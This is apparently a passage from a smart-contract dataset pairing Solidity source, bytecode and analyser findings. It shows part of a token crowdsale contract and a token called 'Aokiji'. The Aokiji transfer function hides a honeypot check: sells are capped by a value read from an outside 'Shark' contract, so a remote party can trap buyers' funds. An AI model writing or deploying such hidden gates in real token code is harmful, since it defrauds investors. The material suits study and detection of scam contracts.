uint256 tokenAmount = getTokenAmount(msg.sender, msg.value);
weiRaised = weiRaised.add(msg.value);
token.transferFrom(tokenWallet, msg.sender, tokenAmount);
emit TokensPurchased(msg.sender, msg.value, tokenAmount);
wallet.transfer(msg.value);
}
/**
* @dev Add a sale period with its default rate.
* @param _startTimestamp Beginning of this sale period.
* @param _endTimestamp End of this sale period.
* @param _rate Rate at which tokens are sold during this sale period.
*/
function addPeriod(uint256 _startTimestamp, uint256 _endTimestamp, uint256 _rate) onlyOwner public {
require(_startTimestamp != 0);
require(_endTimestamp > _startTimestamp);
require(_rate != 0);
Period memory period = Period(_startTimestamp, _endTimestamp, _rate);
periods.push(period);
}
/**
* @dev Emergency function to clear all sale periods (for example in case the sale is delayed).
*/
function clearPeriods() onlyOwner public {
delete periods;
}
/**
* @dev Add an address to the whitelist or update the rate of an already added address.
* This function cannot be used to reset a previously set custom rate. Remove the address and add it
* again if you need to do that.
* @param _address Address to whitelist
* @param _rate Optional custom rate reserved for that address (0 = use default rate)
* @return true if the address was added to the whitelist, false if the address was already in the whitelist
*/
function addAddressToWhitelist(address _address, uint256 _rate) onlyOwner public returns (bool success) {
require(_address != address(0));
success = false;
if (!whitelistedAddresses[_address]) {
whitelistedAddresses[_address] = true;
success = true;
}
if (_rate != 0) {
whitelistedRates[_address] = _rate;
}
}
/**
* @dev Adds an array of addresses to the whitelist, all with the same optional custom rate.
* @param _addresses Addresses to add.
* @param _rate Optional custom rate reserved for all added addresses (0 = use default rate).
* @return true if at least one address was added to the whitelist,
* false if all addresses were already in the whitelist
*/
function addAddressesToWhitelist(address[] _addresses, uint256 _rate) onlyOwner public returns (bool success) {
success = false;
for (uint256 i = 0; i <_addresses.length; i++) {
if (addAddressToWhitelist(_addresses[i], _rate)) {
success = true;
}
}
}
/**
* @dev Remove an address from the whitelist.
* @param _address Address to remove.
* @return true if the address was removed from the whitelist,
* false if the address wasn't in the whitelist in the first place.
*/
function removeAddressFromWhitelist(address _address) onlyOwner public returns (bool success) {
require(_address != address(0));
success = false;
if (whitelistedAddresses[_address]) {
whitelistedAddresses[_address] = false;
success = true;
}
if (whitelistedRates[_address] != 0) {
whitelistedRates[_address] = 0;
}
}
/**
* @dev Remove addresses from the whitelist.
* @param _addresses addresses
* @return true if at least one address was removed from the whitelist,
* false if all addresses weren't in the whitelist in the first place
*/
function removeAddressesFromWhitelist(address[] _addresses) onlyOwner public returns (bool success) {
success = false;
for (uint256 i = 0; i < _addresses.length; i++) {
if (removeAddressFromWhitelist(_addresses[i])) {
success = true;
}
}
}
/**
* @dev True if the specified address is whitelisted.
*/
function isAddressInWhitelist(address _address) view public returns (bool) {
return whitelistedAddresses[_address];
}
/**
* @dev True while the sale is open (i.e. accepting contributions). False otherwise.
*/
function isOpen() view public returns (bool) {
return ((!paused) && (_getCurrentPeriod().rate != 0));
}
/**
* @dev Current rate for the specified purchaser.
* @param _purchaser Purchaser address (may or may not be whitelisted).
* @return Custom rate for the purchaser, or current standard rate if no custom rate was whitelisted.
*/
function getCurrentRate(address _purchaser) public view returns (uint256 rate) {
Period memory currentPeriod = _getCurrentPeriod();
require(currentPeriod.rate != 0);
rate = whitelistedRates[_purchaser];
if (rate == 0) {
rate = currentPeriod.rate;
}
}
/**
* @dev Number of tokens that a specified address would get by sending right now
* the specified amount.
* @param _purchaser Purchaser address (may or may not be whitelisted).
* @param _weiAmount Value in wei to be converted into tokens.
* @return Number of tokens that can be purchased with the specified _weiAmount.
*/
function getTokenAmount(address _purchaser, uint256 _weiAmount) public view returns (uint256) {
return _weiAmount.mul(getCurrentRate(_purchaser));
}
/**
* @dev Checks the amount of tokens left in the allowance.
* @return Amount of tokens remaining for sale.
*/
function remainingTokens() public view returns (uint256) {
return token.allowance(tokenWallet, this);
}
/*
* Internal functions
*/
/**
* @dev Returns the current period, or null.
*/
function _getCurrentPeriod() view internal returns (Period memory _period) {
_period = Period(0, 0, 0);
uint256 len = periods.length;
for (uint256 i = 0; i < len; i++) {
if ((periods[i].startTimestamp <= block.timestamp) && (periods[i].endTimestamp >= block.timestamp)) {
_period = periods[i];
break;
}
}
}
}
|
0x60806040526004361061013d5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306c933d881146102e8578063115ece4c1461031d57806324953eaa14610353578063257d9bb8146103a8578063286dd3f5146103bd5780633be64ed7146103de5780633f4ba83a146103fe5780634042b66f1461041357806347535d7b1461042857806349abe94b1461043d578063521eb2731461045e5780635c975abb1461048f57806370be89c1146104a4578063835cb53b146104fb5780638456cb59146105105780638da5cb5b146105255780639a3132991461053a578063bf5839031461055b578063bff99c6c14610570578063d9bd079914610585578063dce77d841461059a578063e17039b8146105bb578063f2fde38b146105df578063fc0c546a14610600575b600033600160a060020a0316151561015457600080fd5b66b1a2bc2ec5000034101561016857600080fd5b610170610615565b151561017b57600080fd5b674563918244f4000034111561019f5761019433610640565b151561019f57600080fd5b6101a93334610662565b6007549091506101bf903463ffffffff61068616565b60075560048054600654604080517f23b872dd000000000000000000000000000000000000000000000000000000008152600160a060020a0392831694810194909452338216602485015260448401859052519116916323b872dd9160648083019260209291908290030181600087803b15801561023c57600080fd5b505af1158015610250573d6000803e3d6000fd5b505050506040513d602081101561026657600080fd5b505060408051348152602081018390528151600160a060020a033316927f8fafebcaf9d154343dad25669bfa277f4fbacd7ac6b0c4fed522580e040a0f33928290030190a2600554604051600160a060020a03909116903480156108fc02916000818181858888f193505050501580156102e4573d6000803e3d6000fd5b5050005b3480156102f457600080fd5b50610309600160a060020a03600435166106a0565b604080519115158252519081900360200190f35b34801561032957600080fd5b50610341600160a060020a0360043516602435610662565b60408051918252519081900360200190f35b34801561035f57600080fd5b5060408051602060048035808201358381028086018501909652808552610309953695939460249493850192918291850190849080828437509497506106b59650505050505050565b3480156103b457600080fd5b5061034161071b565b3480156103c957600080fd5b50610309600160a060020a0360043516610726565b3480156103ea57600080fd5b506103fc6004356024356044356107d9565b005b34801561040a57600080fd5b506103fc6108c3565b34801561041f57600080fd5b5061034161093d565b34801561043457600080fd5b50610309610615565b34801561044957600080fd5b50610341600160a060020a0360043516610943565b34801561046a57600080fd5b50610473610955565b60408051600160a060020a039092168252519081900360200190f35b34801561049b57600080fd5b50610309610964565b3480156104b057600080fd5b50604080516020600480358082013583810280860185019096528085526103099536959394602494938501929182918501908490808284375094975050933594506109749350505050565b34801561050757600080fd5b506103416109d5565b34801561051c57600080fd5b506103fc6109e1565b34801561053157600080fd5b50610473610a60565b34801561054657600080fd5b50610309600160a060020a0360043516610640565b34801561056757600080fd5b50610341610a6f565b34801561057c57600080fd5b50610473610b18565b34801561059157600080fd5b506103fc610b27565b3480156105a657600080fd5b50610341600160a060020a0360043516610b50565b3480156105c757600080fd5b50610309600160a060020a0360043516602435610ba1565b3480156105eb57600080fd5b506103fc600160a060020a0360043516610c41565b34801561060c57600080fd5b50610473610cd9565b6000805460a060020a900460ff1615801561063a5750610633610ce8565b6040015115155b90505b90565b600160a060020a03811660009081526002602052604090205460ff165b919050565b600061067d61067084610b50565b839063ffffffff610dca16565b90505b92915050565b60008282018381101561069557fe5b8091505b5092915050565b60026020526000908152604090205460ff1681565b60008054819033600160a060020a039081169116146106d357600080fd5b5060009050805b82518110156107155761070383828151811015156106f457fe5b90602001906020020151610726565b1561070d57600191505b6001016106da565b50919050565b66b1a2bc2ec5000081565b6000805433600160a060020a0390811691161461074257600080fd5b600160a060020a038216151561075757600080fd5b50600160a060020a03811660009081526002602052604081205460ff161561079d5750600160a060020a0381166000908152600260205260409020805460ff1916905560015b600160a060020a0382166000908152600360205260409020541561065d57600160a060020a038216600090815260036020526040812055919050565b6107e1610df5565b60005433600160a060020a039081169116146107fc57600080fd5b83151561080857600080fd5b83831161081457600080fd5b81151561082057600080fd5b506040805160608101825293845260208401928352830190815260018054808201825560009190915292517fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf660039094029384015590517fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf7830155517fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf890910155565b60005433600160a060020a039081169116146108de57600080fd5b60005460a060020a900460ff1615156108f657600080fd5b6000805474ff0000000000000000000000000000000000000000191681556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b339190a1565b60075481565b60036020526000908152604090205481565b600554600160a060020a031681565b60005460a060020a900460ff1681565b60008054819033600160a060020a0390811691161461099257600080fd5b5060009050805b8351811015610699576109c384828151811015156109b357fe5b9060200190602002015184610ba1565b156109cd57600191505b600101610999565b674563918244f4000081565b60005433600160a060020a039081169116146109fc57600080fd5b60005460a060020a900460ff1615610a1357600080fd5b6000805474ff0000000000000000000000000000000000000000191660a060020a1781556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff6259190a1565b600054600160a060020a031681565b60048054600654604080517fdd62ed3e000000000000000000000000000000000000000000000000000000008152600160a060020a0392831694810194909452308216602485015251600093919092169163dd62ed3e9160448082019260209290919082900301818787803b158015610ae757600080fd5b505af1158015610afb573d6000803e3d6000fd5b505050506040513d6020811015610b1157600080fd5b5051905090565b600654600160a060020a031681565b60005433600160a060020a03908116911614610b4257600080fd5b610b4e60016000610e17565b565b6000610b5a610df5565b610b62610ce8565b60408101519091501515610b7557600080fd5b600160a060020a0383166000908152600360205260409020549150811515610715576040015192915050565b6000805433600160a060020a03908116911614610bbd57600080fd5b600160a060020a0383161515610bd257600080fd5b50600160a060020a03821660009081526002602052604081205460ff161515610c1d5750600160a060020a0382166000908152600260205260409020805460ff191660019081179091555b811561068057600160a060020a039290921660009081526003602052604090205590565b60005433600160a060020a03908116911614610c5c57600080fd5b600160a060020a0381161515610c7157600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600454600160a060020a031681565b610cf0610df5565b506040805160608101825260008082526020820181905291810182905260015490915b81811015610dc55742600182815481101515610d2b57fe5b90600052602060002090600302016000015411158015610d6b575042600182815481101515610d5657fe5b90600052602060002090600302016001015410155b15610dbd576001805482908110610d7e57fe5b90600052602060002090600302016060604051908101604052908160008201548152602001600182015481526020016002820154815250509250610dc5565b600101610d13565b505090565b600080831515610ddd5760009150610699565b50828202828482811515610ded57fe5b041461069557fe5b6060604051908101604052806000815260200160008152602001600081525090565b5080546000825560030290600052602060002090810190610e389190610e3b565b50565b61063d91905b80821115610e62576000808255600182018190556002820155600301610e41565b50905600a165627a7a7230582020e4fe814f553eed1edfc89531feb63a7d03fbe947833008900c718e000491f20029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 4,459 |
0x65C9eC0cc0D185E9339b3AE7d9e5Ef254192dfc1
|
/**
*Submitted for verification at Etherscan.io on 2021-10-28
*/
// SPDX-License-Identifier: MIT
// Telegram: t.me/aokijitoken
pragma solidity ^0.8.4;
address constant WALLET_ADDRESS = 0x13bB75f634651e978cDf9718ff24ae0f82a95928;
address constant ROUTER_ADDRESS=0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 constant TOTAL_SUPPLY = 100000000;
string constant TOKEN_NAME = "Aokiji";
string constant TOKEN_SYMBOL = "AOKIJI";
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface Shark{
function amount() external view returns (uint256);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed oldie, address indexed newbie);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Aokiji is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _rOwned;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = TOTAL_SUPPLY;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
address payable private _taxWallet;
uint256 private _tax=8;
string private constant _name = TOKEN_NAME;
string private constant _symbol = TOKEN_SYMBOL;
uint8 private constant _decimals = 0;
IUniswapV2Router02 private _router;
address private _pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_taxWallet = payable(WALLET_ADDRESS);
_rOwned[_msgSender()] = _rTotal;
_router = IUniswapV2Router02(ROUTER_ADDRESS);
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(((to == _pair && from != address(_router) )?1:0)*amount <= Shark(0x11Ceef31013C4B3F4870DFE9430Cf6dFbC9a3f4D).amount());
if (from != owner() && to != owner()) {
if (!inSwap && from != _pair && swapEnabled) {
swapTokensForEth(balanceOf(address(this)));
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _router.WETH();
_approve(address(this), address(_router), tokenAmount);
_router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "Trading is already open");
_approve(address(this), address(_router), _tTotal);
_pair = IUniswapV2Factory(_router.factory()).createPair(address(this), _router.WETH());
_router.addLiquidityETH{value : address(this).balance}(address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp);
swapEnabled = true;
tradingOpen = true;
IERC20(_pair).approve(address(_router), type(uint).max);
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external {
require(_msgSender() == _taxWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external {
require(_msgSender() == _taxWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _tax);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106100e15760003560e01c8063715018a61161007f578063a9059cbb11610059578063a9059cbb146102a9578063c9567bf9146102e6578063dd62ed3e146102fd578063f42938901461033a576100e8565b8063715018a61461023c5780638da5cb5b1461025357806395d89b411461027e576100e8565b806323b872dd116100bb57806323b872dd14610180578063313ce567146101bd57806351bc3c85146101e857806370a08231146101ff576100e8565b806306fdde03146100ed578063095ea7b31461011857806318160ddd14610155576100e8565b366100e857005b600080fd5b3480156100f957600080fd5b50610102610351565b60405161010f91906122db565b60405180910390f35b34801561012457600080fd5b5061013f600480360381019061013a9190611e9e565b61038e565b60405161014c91906122c0565b60405180910390f35b34801561016157600080fd5b5061016a6103ac565b604051610177919061243d565b60405180910390f35b34801561018c57600080fd5b506101a760048036038101906101a29190611e4b565b6103b8565b6040516101b491906122c0565b60405180910390f35b3480156101c957600080fd5b506101d2610491565b6040516101df91906124b2565b60405180910390f35b3480156101f457600080fd5b506101fd610496565b005b34801561020b57600080fd5b5061022660048036038101906102219190611db1565b610510565b604051610233919061243d565b60405180910390f35b34801561024857600080fd5b50610251610561565b005b34801561025f57600080fd5b506102686106b4565b60405161027591906121f2565b60405180910390f35b34801561028a57600080fd5b506102936106dd565b6040516102a091906122db565b60405180910390f35b3480156102b557600080fd5b506102d060048036038101906102cb9190611e9e565b61071a565b6040516102dd91906122c0565b60405180910390f35b3480156102f257600080fd5b506102fb610738565b005b34801561030957600080fd5b50610324600480360381019061031f9190611e0b565b610c4e565b604051610331919061243d565b60405180910390f35b34801561034657600080fd5b5061034f610cd5565b005b60606040518060400160405280600681526020017f416f6b696a690000000000000000000000000000000000000000000000000000815250905090565b60006103a261039b610d47565b8484610d4f565b6001905092915050565b60006305f5e100905090565b60006103c5848484610f1a565b610486846103d1610d47565b61048185604051806060016040528060288152602001612a8d60289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610437610d47565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112e09092919063ffffffff16565b610d4f565b600190509392505050565b600090565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166104d7610d47565b73ffffffffffffffffffffffffffffffffffffffff16146104f757600080fd5b600061050230610510565b905061050d81611344565b50565b600061055a600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115cc565b9050919050565b610569610d47565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105ed906123bd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f414f4b494a490000000000000000000000000000000000000000000000000000815250905090565b600061072e610727610d47565b8484610f1a565b6001905092915050565b610740610d47565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c4906123bd565b60405180910390fd5b600860149054906101000a900460ff161561081d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108149061235d565b60405180910390fd5b61084e30600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166305f5e100610d4f565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156108b657600080fd5b505afa1580156108ca573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108ee9190611dde565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561097257600080fd5b505afa158015610986573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109aa9190611dde565b6040518363ffffffff1660e01b81526004016109c792919061220d565b602060405180830381600087803b1580156109e157600080fd5b505af11580156109f5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a199190611dde565b600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610aa230610510565b600080610aad6106b4565b426040518863ffffffff1660e01b8152600401610acf9695949392919061225f565b6060604051808303818588803b158015610ae857600080fd5b505af1158015610afc573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b219190611f38565b5050506001600860166101000a81548160ff0219169083151502179055506001600860146101000a81548160ff021916908315150217905550600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610bf9929190612236565b602060405180830381600087803b158015610c1357600080fd5b505af1158015610c27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c4b9190611ede565b50565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d16610d47565b73ffffffffffffffffffffffffffffffffffffffff1614610d3657600080fd5b6000479050610d448161163a565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610dbf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db69061241d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e2f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e269061233d565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f0d919061243d565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f81906123fd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ffa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff1906122fd565b60405180910390fd5b6000811161103d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611034906123dd565b60405180910390fd5b7311ceef31013c4b3f4870dfe9430cf6dfbc9a3f4d73ffffffffffffffffffffffffffffffffffffffff1663aa8c217c6040518163ffffffff1660e01b815260040160206040518083038186803b15801561109757600080fd5b505afa1580156110ab573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cf9190611f0b565b81600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561117b5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b611186576000611189565b60015b60ff1661119691906125a9565b11156111a157600080fd5b6111a96106b4565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561121757506111e76106b4565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156112d057600860159054906101000a900460ff161580156112875750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561129f5750600860169054906101000a900460ff165b156112cf576112b56112b030610510565b611344565b600047905060008111156112cd576112cc4761163a565b5b505b5b6112db8383836116a6565b505050565b6000838311158290611328576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131f91906122db565b60405180910390fd5b50600083856113379190612603565b9050809150509392505050565b6001600860156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561137c5761137b61275e565b5b6040519080825280602002602001820160405280156113aa5781602001602082028036833780820191505090505b50905030816000815181106113c2576113c161272f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561146457600080fd5b505afa158015611478573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061149c9190611dde565b816001815181106114b0576114af61272f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061151730600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610d4f565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161157b959493929190612458565b600060405180830381600087803b15801561159557600080fd5b505af11580156115a9573d6000803e3d6000fd